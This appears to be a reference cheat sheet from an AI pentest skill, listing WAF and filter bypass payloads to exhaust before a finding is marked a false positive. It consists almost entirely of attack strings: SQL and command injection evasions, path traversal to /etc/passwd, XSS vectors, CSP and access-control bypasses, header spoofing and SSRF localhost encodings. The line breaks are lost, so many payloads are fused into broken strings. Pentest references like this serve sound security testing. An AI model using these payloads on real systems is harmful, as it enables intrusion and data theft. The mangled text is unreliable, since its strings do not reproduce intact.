optional-skills/security/web-pentest/references/bypass-techniques.md
Common filter/WAF bypasses. Used during the bypass-exhaustion phase before classifying a finding as false positive.
A finding may only be marked false_positive AFTER the relevant
bypass set has been exhausted and the witnesses still fail.
When ' is filtered/escaped:
1 OR 1=1" instead of '1/**/OR/**/1=10x61646d696e for adminCHAR(65,66) for ABOoRr (often stripped to OR)O/**/R' %00 OR '1=1%2527 for '%bf%27 (works against some single-byte unescape)When semicolons filtered:
%0Asleep 5%0Dsleep 5|sleep 5, ||sleep 5&sleep 5, &&sleep 5$(sleep 5), `sleep 5`/???/?l??p 5 for /bin/sleep 5sleep${IFS}5, sleep$IFS$95s""leep 5, s'l'eep 5a=sl;b=eep;${a}${b} 5bash<<<$(base64 -d <<< c2xlZXAgNQo=)When ../ filtered:
%2e%2e%2f%252e%252e%252f%c0%ae%c0%ae%c0%af, %uff0e%uff0e%u2215..%2f, %2e./../../../etc/passwd%00.png..\..\..\windows\win.ini/etc/passwd (skips traversal entirely)When base dir is prepended (/var/www/uploads/${v}):
realpath not enforced../../etc/passwd%00When <script> blocked:
<svg/onload=...><iframe srcdoc="..."><details ontoggle=...> (HTML5)<video><source onerror=...><input autofocus onfocus=...>When parens filtered:
onerror=alert\1``onerror=eval('alert(1)') → onerror=eval(name) + set
window.name from attacker pageWhen event handlers stripped:
<a href="javascript:alert(1)"> (often still works)<form action="javascript:alert(1)"><input type=submit><svg><animate attributeName=href values=javascript:alert(1) ...>When alert filtered:
confirm(1), prompt(1), print()top.alert(1), self['ale'+'rt'](1)window['ale\u0072t'](1) (unicode in property access)Function("alert(1)")()CSP bypasses (require CSP misconfig):
unsafe-inline allows everythingunsafe-eval allows eval/Function*.googleapis.com) — angular/jsonp gadgets'strict-dynamic' without nonce/hash on inline → still blocked but
external scripts allowed via trusted loaderdefault-src/script-src → only blocks listedGET /admin blocked → try POST, PUT, OPTIONS/admin/ blocked → try /admin, /admin/.,
/admin/x/.., //admin, /%2e/admin, /Admin (case)X-Original-URL: /admin, X-Forwarded-For: 127.0.0.1,
X-Real-IP: 127.0.0.1, X-Forwarded-Proto: https/admin#, /admin?, /admin/, /admin.json,
/admin..;/, /admin/..;/X-HTTP-Method-Override: GETWhen 127.0.0.1 blocked:
[::1], [0:0:0:0:0:0:0:1]2130706433 for 127.0.0.10x7f0000010177.0.0.1127.1, 0.0.0.0, 0127.0.0.1 on second
resolution (TTL=0)localtest.me (127.0.0.1)http://[email protected],
http://127.0.0.1#@allowed-hosthttp://1.0.0.1 (fullwidth dots)When schemes blocked:
gopher://, dict://, file://, ftp://data: (for content-type bypass)jar: (Java)X-Forwarded-For, X-Real-IP, X-Originating-IP,
X-Client-IP, X-Cluster-Client-IP, ForwardedX-FORWARDED-FORFor each bypass attempt:
verdict: false_positive with reason "bypass set exhausted; defense
appears effective for this slot type."